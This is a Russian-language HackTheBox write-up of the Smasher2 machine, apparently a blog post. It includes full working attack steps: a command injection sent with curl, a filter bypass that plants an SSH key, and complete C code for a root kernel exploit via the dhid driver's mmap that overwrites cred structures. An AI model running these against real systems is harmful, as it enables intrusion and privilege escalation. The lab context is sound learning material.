![image](https://habrastorage.org/webt/ms/yw/0j/msyw0jxgua25iuntaxj1qcayfuq.png)
Данной статьей я начну публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье мы пореверсим библиотеку для python, обойдем WAF и проэксплуатируем уязвимость mmap.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Разведка
Сканирование портов
Данная машиина имеет IP адрес 10.10.10.135, который я добавляю в /etc/hosts.
10.10.10.135 smasher2.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.135 --rate=1000
![image](https://habrastorage.org/webt/ua/l0/kl/ual0klllexxrrkhyehygavfrji8.png)
На хосте открыты 3 порта. Теперь просканируем его с помощью nmap, чтобы получить более подробную информацию.
nmap -A 10.10.10.135 -p22,53,80
![image](https://habrastorage.org/webt/rv/21/y3/rv21y3ntl_dol3qnlgvdhvshdhg.png)
Таким образом мы имеем SSH, DNS и WEB, который возвращает код 403 (Forbidden, доступ запрещен).
DNS
Давайте прверим DNS. Для этого используем клиент host, с опцией -l, чтобы с помощью AXFR запроса посмотреть список всех хостов в домене.
host -l smasher2.htb 10.10.10.135
![image](https://habrastorage.org/webt/3q/st/te/3qstteuzgycf6fxuc_7vxit1rfe.png)
Таким образом нужно добавить новую запись в /etc/hosts.
10.10.10.135 wonderfulsessionmanager.smasher2.htb
WEB
Теперь перейдем посмотрим, что нам даст WEB при обращении на smasher2.htb.
![image](https://habrastorage.org/webt/9-/li/n5/9-lin58jouqm966oevnsoccso1a.png)
Пусто. В таком случае следует перебрать дирректории. Я использую написанный на языке golang быстрый gobuster. Будем перебирать директории в 128 потоков, нас будут интересовать расширения html, php, txt, conf и коды ответа 200, 204, 301, 302, 307, 401.
gobuster dir -t 128 -u http://smasher2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,conf -s 200,204,301,302,307,401
![image](https://habrastorage.org/webt/iw/du/g9/iwdug9gy9ukr37s9nn4-c7pqojk.png)
Находим директорию backup. Смотрим что в ней.
![image](https://habrastorage.org/webt/id/lj/zz/idljzzfub_qbnzzwu2x1lic2l38.png)
В итоге скачиваем python’овский файл и библиотеку. Далее идем по другому доменному имени, и там находим форму авторизации.
![image](https://habrastorage.org/webt/mu/n0/mp/mun0mpgaqduxfzmhxifnqbq6_gg.png)
Mozilla Firefox плагин Wappalyzer сообщает о том, какие технологии используются. Таким образом сайт написан на python 2.7.15.
![image](https://habrastorage.org/webt/ze/h9/ze/zeh9zeby2o839yeim2osz0-w__i.png)
WEB API
Python
Мы как раз нашли файл auth.py, давайте его разбирать. В первой же строке импорта, мы обращаемся к модулю ses.so, который так же нашли в бэкапах.
![image](https://habrastorage.org/webt/8-/ap/rm/8-aprmznzxtkkd04fzy9wzzrchk.png)
В коде находим аутентификацию. В случае успешной аутентификации нам вернут secret_token_info.
![image](https://habrastorage.org/webt/vn/er/sa/vnersai2zkkcopwujarn-9abz8i.png)
![image](https://habrastorage.org/webt/j2/yp/3e/j2yp3emp8fwuj4xbshedsf7bou0.png)
Перейдем на точку “/api//job”. Данные принимаются методом POST, при этом они должны быть в формате JSON. Если в данных имеется параметр schedule, то он передается на выполнение как команда в командную строку.
![image](https://habrastorage.org/webt/x7/oh/fs/x7ohfsjrcxhr8-tuwqdtcsnjxq8.png)
Логин и пароль отредактированы… Они передаются в нашу библиотеку, которая создает сессию — объект SessionManager.
![image](https://habrastorage.org/webt/uq/p4/2e/uqp42eqln2alvsfnpwyvjbe5c_q.png)
Функция safe_init_manager(id) будет вызываться при каждом новом обращении, за счет before_request. Таким образом инициализируется новая сессия.
![image](https://habrastorage.org/webt/95/wv/yu/95wvyudl1crmjq5nv-bq-li7gze.png)
В функции login() создается объект manager, зависимый от сессии.
![image](https://habrastorage.org/webt/zi/0t/uh/zi0tuhqdy8ewibq3purmsr6u5_e.png)
А проверка осуществляется методом check_login().
![image](https://habrastorage.org/webt/u8/xt/_v/u8xt_vgcczwhkl4cbqlzov7tsio.png)
Реверс .so
Таким образом нам нужно узнать, как проверяются данные. Для этого в библиотеке нам нужно понять устройство SessionManager.check_login(). Закидываем в IDA Pro, ищем нужную функцию.
![image](https://habrastorage.org/webt/ui/--/y0/ui--y0og5qsjhymyhpozz6kux0u.png)
Открыв функцию, я обратил внимание на ее граф. Меня заинтересовал ряд нижних блоков, перед схождением.
![image](https://habrastorage.org/webt/89/1o/7r/891o7r5jjpip6zh2uqba7xzbgrs.png)
Просмативая блоки, можно видеть, о чем говорит та или иная ветка выполнения функции. Таким образом нам нужна только самый правый блок.
![image](https://habrastorage.org/webt/ve/xq/da/vexqdaz61fubdsfteffkqdx0ngi.png)
Я раскрасил интересующую нас линию поведения функции.
![image](https://habrastorage.org/webt/9c/k9/ao/9ck9aomluu0wemswvub1salylas.png)
Теперь пройдемся и посмотрим, что происходит. В одном месте я заметил идентичный код для логина и пароля. А также одно и тоже сравнение.
![image](https://habrastorage.org/webt/65/fs/cd/65fscdprft3krxphyiwtbxdq_vg.png)
Причем и для логина и для пароля вызывается одна и та же функция.
![image](https://habrastorage.org/webt/jo/um/w3/joumw3woscffqrof2lnjlyajdqs.png)
Это говорит о том, что логин и пароль одинаковы. Но так как это значение приходит и python программы и оно было отредактировано, остается только перебирать. Я попробовал стандартные именя и на мое удивление подошло Administator (почему сразу не попробовал...).
![image](https://habrastorage.org/webt/xp/9n/at/xp9natep2ikm8wlduicpijksqug.png)
Entry point
У нас есть ключ. Теперь нужно собрать запрос, чтобы выполнить код. Как было сказано ранее, мы должны отправить методом POST данные, содержащие параметр schedule в формате JSON по адресу wonderfulsessionmanager.smasher2.htb/auth/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job. Сделаем это с помощью curl, а результат передадим в jq. Мы выполним команду whoami.
curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik5UaGlZVEJrTmpBMk1qYzBNemN4TmprellUTm1NREV3TXprMk9USTRPV1UzTnpVd05EQXdZZz09In19.XfZcLA.R3UTUnieAARkHBTbqpTmofKWtBw" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"whoami"}' | jq
![image](https://habrastorage.org/webt/-s/u0/er/-su0erve1bo3frizq-_qmtlyclq.png)
Но при пытке выполнить команду “ls”, получаем ошибку.
![image](https://habrastorage.org/webt/sz/c7/pk/szc7pkucef1xd5errhnrw01ydas.png)
Скорее всего стоит фильтр на команды. Давайте отправим “l\\s” — успешно, что говорит и наличии фильтра.
![image](https://habrastorage.org/webt/bx/vl/wy/bxvlwyxbspsgt_bsucpjk8gkdda.png)
USER
Теперь нам нужно получить в системе нормальную оболочку. В системе работает SSH, поэтому мы можем сгенерировать ключ и довавить его в список авторизованных хостов.
Сначала генерируем ключ.
![image](https://habrastorage.org/webt/75/nx/-m/75nx-mr9ckmrkoyiwer3tte6qbm.png)
Теперь нам нужно перенести свой публичный ключ в файл /home/dzonerzy/.ssh/authorized_keys. Но чтобы его было легко перенести, воспользуемся кодировнием его в base64.
base64 -w0 id_rsa.pub
Перенесем его сначала во временный файл.
ec\\ho \”c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FER1NtajY5Z0NjM1F4eHpFY1NOQi9WOXBmelhSdng4ekUweEtoQ1hQbytPZ1pWL2pOa2VrUm5PbkFhVmM5a3ZQbWg3bFlBdE40MnlEOFYwWDIrSkVoeHJHOHc3WlRzOFNsSDR0QlNhd3kwdFdOK2EvU2E4Z0xIMkhtVmFSckhHWmIyWWdhQ3o5Z1RZVWJZNFhiSXdvNG8ySER5QWFYOTlnWFoweDhKUHF3dFB2M1BUdmlicVZERGFvRUFnbSs0ajkyVm5BZGNSL1BoWXNwb2RwdEFVa0lhT1ErVnRHWkNsRk1RcDVWOFZHVUJjQlNaUTVoMWlGaW9zdWRaZ2NXWG9LQlJxSmFEUElucVQvMTVJUnZrbzJPOHdNcC9oc2ZUTkRmU0Z2UHk0eXB0TSs4Tm9ReFBZMTdVaTdJeGFzS1RkSTIzcnZhVWV4aCttMEhCYUNwZHVaR0ZRUXhEYWtDNVM4WUNaNmV6NEZaYmZySjRwWUNRTU04RWJ6UUFIZW5IVW1Na3JuWUVXRDk1SWhTcW83NHRUMmZrYWVKWVYvNncvZWtmVE1TL3ZQSE9mdkVhdFZ6Y2ZzUzR4K1VwazY4Y2hXeUtQVlA4a1RQQXNHL0Rzc3pJMUV0UjJnU0pTTFJFRXZrUktmRG9abGJWS0o1eTEvbjVKbmc1cXFBTmNGeklQNE09IHJvb3RAUmFsZi1QQwo=\” > /tmp/ralf
Теперь декодируем и запишем по назначению.
ba\\se\\64 -\\d /tmp/ralf >> /home/dzonerzy/\\.\\ss\\h/auth\\orized_ke\\ys
Мы записали ключ, теперь если все хорошо, по приватному ключу можем подключиться по SSH. Пробуем. И мы в системе.
![image](https://habrastorage.org/webt/mf/7t/7n/mf7t7nnau3dbshpiirvblygdrhk.png)
LPE — ROOT
Перечисление
Рядом с токеном пользователя лежит файл README. Прочитаем его.
![image](https://habrastorage.org/webt/n0/io/bi/n0iobindnitc1h69lhemnrnskmw.png)
Нам говорят, что мы должны думать не стандартно… Но выполнив стандартные перечисления, и ничего не найдя, обратил внимание на группу, в которой состоит пользователь.
![image](https://habrastorage.org/webt/ko/rc/9u/korc9u_5ji78nds_jgcnelql_uq.png)
Группа adm имеет доступ к интересным файлам.
![image](https://habrastorage.org/webt/dp/oj/c0/dpojc0lhn1tpdzsgcp0k11vtyec.png)
К примеру — auth.log. Там отражаются не только факты успешной и не успешной авторизации, а так же факты использования команды sudo.
strings /var/log/auth.log | grep sudo
![image](https://habrastorage.org/webt/8t/a6/r7/8ta6r7a-rgji8-ruimkshuc-2to.png)
От имени рута выполняется интересная команда. Но она связана с драйвером, поэтому нужно удостовериться, тем ли путем следуем.
![image](https://habrastorage.org/webt/ix/1i/gx/ix1igxiggwoaugz01xkwu81ftbe.png)
Да, к сожалению, все идет к драйверу.
Драйвер
Так как речь идет о драйвере (модуле ядра), получим о нем информацию с помощью modinfo.
![image](https://habrastorage.org/webt/ek/bh/1v/ekbh1vr8tpqrjysaqtkuu3ogwsk.png)
Сказано, что драйвер нужен для работы с устройством dhid. Проверим.
![image](https://habrastorage.org/webt/ck/bv/zx/ckbvzxss6iz1ughsn_lhqflutw4.png)
Да. Имеется такое устройство. Для того, чтобы изучить драйвер, я скопировал его себе и загрузил в IDA Pro.
scp -i id_rsa dzonerzy@10.10.10.135:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./
Скудненький список функций, из которых для PWN нам интересны те, которые работают с памятью. Судя по названиям — это dev_read и dev_mmap.
![image](https://habrastorage.org/webt/g9/k9/5s/g9k95slhxhlihqi0nhwm3ei5qxk.png)
Далее погуглив, я не особо не нашел информацию про уязвимость в драйверах, связанные с чтением, что нельзя сказать о mmap! Поэтому я перешел к ней.
![image](https://habrastorage.org/webt/3v/rk/7x/3vrk7xh2hcwclirw59wcdzihxxe.png)
Вообще сискол mmap в драйверах необходим для отображения устройства на память и выделения страниц по запросу, так как изначально устройство вообще не использует физическую память.
В данном коде единственным интересным местом является вызов функции remap_pfn_range, позволяющую выполнять линейное отображение памяти устройства на адресное пространство пользователя.
int remap_pfn_range(struct vm_area_struct *vma, unsigned long virt_add, unsigned long pfn, unsigned long size, pgprot_t prot);
Отображает size байт физических адресов, начиная с номера страницы, указанного pfn для виртуального адреса virt_add. Защитные биты, связанные с виртуальным пространством, указаны в prot.
Как обычно, смотрим на параметры, которые предварительно не обрабатываются. Это параметры pfn и size, что позволяет нам отобразить любой объем памяти для чтения и записи.
Эксплоит
Погуглив, что можно с этим сделать, я был поражен возможным спопобом эксплуатации. Если мы сможем найти в памяти управляющую структуру creds, это позволит нам изменить uid пользователя на 0. А потом вызвать шелл, что даст нам оболочку с полными привилегиями.
![image](https://habrastorage.org/webt/of/os/r5/ofosr5umezutxzuvasy8xd-_cqg.png)
Для начала проверим, можем ли мы отобразить большой объем памяти. Следующий код откроет устройство и отобразит 0xf0000000 байт начиная с адреса 0x40404040 для чтения и записи с возможностью использования этого отражения с другими процессами, отражающими тот же объект.
код
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char * const * argv){
printf("pid: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);
printf("fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long start_mmap = 0x40404000;
unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
printf("mmap address: %lx\n", addr);
int stop = getchar();
return 0;
}
Компилируем:
gcc sh.c -o sh.bin
и переносим на хост. Запустим.![image](https://habrastorage.org/webt/vh/d2/u3/vhd2u3vjza59bcxi69drrpwoc9a.png)
А теперь зайдем в другой терминал ssh и глянем карту памяти этого процесса.
![image](https://habrastorage.org/webt/6u/mp/v4/6umpv4dzghjv0y1u2lyyy6lad7g.png)
Как видим, адрес совпадает, метки для чтения и записи, а так же совместном использовании проставлены. То есть идея рабочая. Следующим шагом нужно будет найти структура creds процесса в памяти. Из структуры выше видно, что отличительным признаком будет 8 чисел, раных нашему uid, идущих подряд.
код
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char * const * argv){
printf("pid: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);
printf("fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long start_mmap = 0x40404000;
unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
printf("mmap address: %lx\n", addr);
unsigned int uid = getuid();
unsigned int cred_cur = 0;
unsigned int cred_iter = 0;
while (((unsigned long)addr) < (start_mmap + size - 0x40)){
cred_cur = 0;
if(
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid
){
cred_iter++;
printf("found struct... ptr: %p, cred_iter: %d\n", addr, cred_iter);
}
addr++;
}
fflush(stdout);
int stop = getchar();
return 0;
}
Таким образом мы нашли 19 подобных структур.
![image](https://habrastorage.org/webt/rj/j5/pl/rjj5plsfirobcfwqzc8vss-svtc.png)
Теперь нам нужно переписать все uid’ы на 0. После того как мы переписываем uid’ы определенной структуры, мы будем проверять свой uid. Как только наш uid станет равным 0 — мы можем предполагать что нашли creds структуру нужного нам процесса.
код
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char * const * argv){
printf("pid: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);
printf("fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long start_mmap = 0x40404000;
unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
printf("mmap address: %lx\n", addr);
unsigned int uid = getuid();
unsigned int cred_cur = 0;
unsigned int cred_iter = 0;
while (((unsigned long)addr) < (start_mmap + size - 0x40)){
cred_cur = 0;
if(
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid
){
cred_iter++;
printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter);
cred_cur = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
if (getuid() == 0){
printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter);
break;
}
else{
cred_cur = 0;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
}
}
addr++;
}
fflush(stdout);
int stop = getchar();
return 0;
}
![image](https://habrastorage.org/webt/1x/62/eq/1x62eqetpojbwrrimgaguepynb4.png)
Теперь, после нахождения нужной нам структуры, мы изменим uid на 0xffffffff и вызовем bash оболочку через функцию exec.
код
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char * const * argv){
printf("pid: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);
printf("fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long start_mmap = 0x40404000;
unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
printf("mmap address: %lx\n", addr);
unsigned int uid = getuid();
unsigned int cred_cur = 0;
unsigned int cred_iter = 0;
while (((unsigned long)addr) < (start_mmap + size - 0x40)){
cred_cur = 0;
if(
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid &&
addr[cred_cur++] == uid
){
cred_iter++;
printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter);
cred_cur = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
addr[cred_cur++] = 0;
if (getuid() == 0){
printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter);
cred_cur += 1;
addr[cred_cur++] = 0xffffffff;
addr[cred_cur++] = 0xffffffff;
addr[cred_cur++] = 0xffffffff;
addr[cred_cur++] = 0xffffffff;
addr[cred_cur++] = 0xffffffff;
addr[cred_cur++] = 0xffffffff;
addr[cred_cur++] = 0xffffffff;
addr[cred_cur++] = 0xffffffff;
addr[cred_cur++] = 0xffffffff;
addr[cred_cur++] = 0xffffffff;
execl("/bin/sh","-", (char *)NULL);
break;
}
else{
cred_cur = 0;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
addr[cred_cur++] = uid;
}
}
addr++;
}
fflush(stdout);
int stop = getchar();
return 0;
}
![image](https://habrastorage.org/webt/mn/zl/xq/mnzlxqz8pj4qafv_w0jznrhb0_e.png)
Мы получили root. На самом деле это очень сложная машина, которая требовала уситчивости, чтобы разобраться с данным вариантом LPE.
Конечно было очень трудно прийти к эксплуатации уязвимости именно в драйвере, и я благодарен сообществу, которое помогли подсказкой по способу выхода на драйвер и поделились статье похожей эксплуатаций уязвимость в mmap.
Стоит ли дальше публиковать разбор машин отправленных на дорешивание? Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
me_naomi
Отличный разбор тачки, узнал много нового. Продолжай выкладывать такое!